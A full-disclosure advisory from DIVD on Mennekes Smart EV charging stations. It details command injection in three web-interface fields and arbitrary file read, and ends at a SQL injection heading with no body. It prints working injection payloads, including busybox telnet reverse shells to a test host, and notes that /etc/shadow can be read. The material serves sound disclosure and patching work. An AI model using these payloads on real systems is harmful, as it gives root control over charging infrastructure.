Mennekes Smart - charging stations full disclosure

16 Jul 2026 - Victor Pasman

DIVD received a vulnerability report about the firmware of Mennekes Smart charging stations. The vulnerabilities were discovered by Wilco van Beijnum and analysed together with DIVD researchers Harm van den Brink and Frank Breedijk.

During an investigation of the Mennekes charging station, several vulnerabilities were found that allow an authenticated attacker to execute arbitrary OS commands on the charging station (as root), read arbitrary files from the filesystem, and manipulate the SQLite databases used by the device. Under the upcoming NIS2 regulations, charging infrastructure is considered critical infrastructure, which underlines the importance of these findings.

DIVD is a CVE Numbering Authority (CNA) and has used these rights to assign the following CVEs to the vulnerabilities included in the write-up below:

All five vulnerabilities affect Mennekes Smart charging stations running firmware prior to version 2.15 and are resolved in firmware 2.15 The rest of this post contains the full technical write-up of each vulnerability.

Command injection in firmware upgrade via URL - CVE-2025-22366

The “firmware upgrade via URL” field in the configuration web interface does not properly neutralise OS command characters before the value is passed to the underlying operating system. An authenticated attacker can abuse this field to execute arbitrary commands as root. The vulnerable functionality is reached via http://<ip-address>/, then Setup → ACU Update (via File-Upload) → URL. The URL field is vulnerable to command injection, for example using the following payload:

http://127.0.0.1/; <command>; abc

The following payload uses busybox telnet to initiate a reverse shell back to an attacker-controlled host (172.20.100.1, port 4444 in the test setup). Combined with a netcat listener, this yields interactive command execution:

http://127.0.0.1/; TF=$(mktemp -u); mkfifo $TF && busybox telnet 172.20.100.1 4444 0<$TF | sh 1>$TF 2>$TF; abc

Risk Impact: Critical — the attacker gains full control over the charging station as the root user and can arbitrarily add, modify and delete files and services.

Suggested actions

Upgrade to firmware 2.15 or later. Use input filtering and escaping to prevent command injection, avoid passing user-controlled input to a shell, and do not run the web server as root.

Command injection in manually setting the time - CVE-2025-22367

The request used to manually set the time of the charging station does not properly neutralise OS command characters, allowing an authenticated attacker to obtain remote code execution through command injection. Manually changing the time sends a POST request to http://<ip-address>/admin/admin_netzwerk. The request can be manipulated with the following payload (basic authentication credentials must also be supplied):

timesource=manually&time_toggle=&from_year=<year>&from_month=<month>&from_day=<day>&from_hour=<hour>&from_minute=<minute>'%3b+<URL-encoded-command>%3b+echo+-n+'&time_button=

Note that in addition to from_minute, the from_year, from_month, from_day and from_hour fields can also be used for command injection. The following payload initiates a reverse shell to the attacker host (172.20.100.1, port 4444):

timesource=manually&time_toggle=&from_year=2024&from_month=7&from_day=23&from_hour=14&from_minute=21'%3b+TF%3d$(mktemp+-u)%3b+mkfifo+$TF+%26%26+busybox+telnet+172.20.100.1+4444+0<$TF+|+sh+1>$TF+2>$TF%3b+echo+-n+'&time_button=

Risk Impact: Critical — the attacker gains full control over the charging station as the root user and can arbitrarily add, modify and delete files and services.

Suggested actions Upgrade to firmware 2.15 or later. Use input filtering and escaping to prevent command injection, avoid passing user-controlled input to a shell, and do not run the web server as root.

Command injection in SCU firmware update - CVE-2025-22368

The authenticated SCU firmware update command does not properly neutralise OS command characters, allowing an attacker to inject OS commands and gain remote code execution. OS commands can be injected by sending a POST request to http://<ip-address>/admin/admin_scu_do_fw_update. The request can be manipulated with the following payload (basic authentication credentials must also be supplied):

scu_id=1&typ=remote&target=abc%3b+<URL-encoded-command>%3b+abcd

The following payload initiates a reverse shell to the attacker host (172.20.100.1, port 4444):

scu_id=1&typ=remote&target=abcd%3b+TF%3d$(mktemp+-u)%3b+mkfifo+$TF+%26%26+busybox+telnet+172.20.100.1+4444+0<$TF+|+sh+1>$TF+2>$TF%3b+abcd

Risk Impact: Critical — the attacker gains full control over the charging station as the root user and can arbitrarily add, modify and delete files and services.

Suggested actions

Upgrade to firmware 2.15 or later. Use input filtering and escaping to prevent command injection, avoid passing user-controlled input to a shell, and do not run the web server as root.

Arbitrary file download using ReadFile endpoint - CVE-2025-22369

The /admin/admin_ReadFile endpoint can be abused to read arbitrary files from the underlying operating system. An authenticated attacker can retrieve any file the web service can access. Arbitrary files can be downloaded by sending a POST request to /admin/admin_ReadFile with the following body (basic authentication credentials must also be supplied):

filename=<path-to-file>

Risk Impact: High — the endpoint can download any file on the filesystem, including sensitive files such as /etc/shadow, as well as the scripts and binaries running on the charging station.

Suggested actions

Upgrade to firmware 2.15 or later. It should not be possible for (low-privilege) users to download arbitrary files.

SQL injection in web configuration interface fields - CVE-2025-22370

Last modified: 18 Jul 2026 19:25 CEST